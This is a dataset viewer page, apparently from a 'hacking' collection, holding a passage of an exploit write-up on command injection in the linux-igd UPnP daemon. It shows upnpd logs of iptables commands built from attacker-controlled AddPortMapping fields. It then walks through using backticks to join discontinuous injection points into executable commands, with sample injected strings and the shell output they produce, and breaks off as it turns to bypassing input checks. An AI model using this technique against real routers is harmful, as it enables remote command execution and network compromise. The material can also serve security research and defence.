Datasets:
Devilishcode
/
hacking

Dataset card Data Studio Files
xet
 Community
text
stringlengths
0
1.99k
upnpd[1878]: Succesfully set the Web Server Root Directory.
upnpd[1878]: Registering the root device with descDocUrl
http://10.0.2.15:49152/gatedesc.xml
upnpd[1878]: IGD root device successfully registered.
upnpd[1878]: Advertisements Sent. Listening for requests ...
upnpd[1878]: ActionName = AddPortMapping
upnpd[1878]: appended 1 AAA BBBBB CCCCCCCCCCCCCCC DDDDD 1
upnpd[1878]: /sbin/iptables -t nat -I PREROUTING -i dummy0 -p AAA
--dport BBBBB -j DNAT --to CCCCCCCCCCCCCCC:DDDDD
upnpd[1878]: /sbin/iptables -A FORWARD -p AAA -d CCCCCCCCCCCCCCC
--dport DDDDD -j ACCEPT
upnpd[1878]: ScheduleMappingExpiration: DevUDN: uuid:XXXXXXXX-XXXX-XXXX-XXX
X-XXXXXXXXXXXX ServiceID: urn:upnp-org:serviceId:WANIPConn1 Proto: AAA
ExtPort: BBBBB Int: CCCCCCCCCCCCCCC.DDDDD at: Mon Jan 1 00:00:00 1970
eventId: 0
upnpd[1878]: PortMappingNumberOfEntries: 1
upnpd[1878]: AddPortMap: DevUDN: uuid:XXXXXXXX-XXXX-XXXX-8e6c-XXXXXXXXXXXX
ServiceID: urn:upnp-org:serviceId:WANIPConn1 RemoteHost: (null) Prot: AAA
ExtPort: BBBBB Int: CCCCCCCCCCCCCCC.DDDDD
upnpd[1878]: ExpireMapping: Proto:AAA Port:BBBBB
upnpd[1878]: /sbin/iptables -t nat -D PREROUTING -i dummy0 -p AAA
--dport BBBBB -j DNAT --to CCCCCCCCCCCCCCC:DDDDD
upnpd[1878]: [HIT 3] /sbin/iptables -D FORWARD -p AAA -d CCCCCCCCCCCCCCC
--dport DDDDD -j ACCEPT
upnpd[1878]: ExpireMapping: UpnpNotifyExt(deviceHandle,uuid:XXXXXXXX-XXXX-X
XXX-XXXX-XXXXXXXXXXXX,urn:upnp-org:serviceId:WANIPConn1,propSet)
PortMappingNumberOfEntries: 0
Please note that after the HTTP request was sent, four system commands were
executed. For clarity, we will summarize them as follows, with the portions
before the first injection point replaced by "U".
$ U AAA --dport BBBBB -j DNAT --to CCCCCCCCCCCCCCC:DDDDD
$ U AAA -d CCCCCCCCCCCCCCC --dport DDDDD -j ACCEPT
$ U AAA --dport BBBBB -j DNAT --to CCCCCCCCCCCCCCC:DDDDD
$ U AAA -d CCCCCCCCCCCCCCC --dport DDDDD -j ACCEPT
It is evident that commands one and three are identical, as are commands
two and four. To summarize, here are the commands that were executed once
the request was processed by the service.
$ U AAA --dport BBBBB -j DNAT --to CCCCCCCCCCCCCCC:DDDDD
$ U AAA -d CCCCCCCCCCCCCCC --dport DDDDD -j ACCEPT
Now, the fun begins!
---------------------------------------------------------------------------
--[ 5. Becoming a Bash Jiu Jitsu white belt
Currently, it is possible to inject ourselves into two different commands
at several locations within these commands. However, we must, overcome
two problems.
1. We control exactly 28 characters ("AAA", "BBBBB", "CCCCCCCCCCCCCCC",
"DDDDD") in the first command and 23 in the second.
2. Our injection points are discontinuous and there are elements (command
options) between our different injection points.
The backtick or backquote (`) in shell scripting is used for command
substitution, where the shell executes the command inside the backticks
and replaces the backtick expression with the output of the command. It
is supported by many Unix-like shells, including sh (Bourne Shell), bash
(Bourne Again Shell), ash (Almquist Shell) and dash (Debian Almquist
Shell).
+-------+----------------+------------------------------------------------+
| Shell | "`" Supported? | Version(s) Supporting Backquotes |
+-------+----------------+------------------------------------------------+
| sh | Yes | All versions (all modern POSIX-compliant) |
| bash | Yes | All versions (from 1.0 in 1989 to present) |
| ash | Yes | All versions (since 1989, including BusyBox) |
| dash | Yes | All versions (since 2001) |
+-------+----------------+------------------------------------------------+
We will use this feature to remove the parts we don't need by using
backquotes, which will (since these interpreted commands produce no output
on stdout) concatenate our various injection points.
$ U ;A` --dport `BBB` -j DNAT --to `CCCCCCCCCCCCC`:`DDDD
...
sh: --dport: command not found
sh: -j: command not found
sh: ABBBCCCCCCCCCCCCCDDDD: command not found
$ U ;A` -d `CCCCCCCCCCCCC` --dport `DDDD -j ACCEPT
...
sh: -d: command not found
sh: --dport: command not found
sh: ACCCCCCCCCCCCCDDDD: command not found
We observe that the command ABBBCCCCCCCCCCCCCDDDD (length 21) is executed,
as well as the ACCCCCCCCCCCCCDDDD (length 18) command. You might say that
using 21 characters (or 18) to exploit a command injection is simple enough
to do with minimal effort. So let's make things a little more complex.
---------------------------------------------------------------------------
--[ 6. Becoming a Bash Jiu Jitsu purple belt
Some of the variants of linuxigd (linux-igd) you may come across, might
implement security checks on specific values. For example, some of the most
up-to-date variants, check the values of XML nodes, NewExternalPort and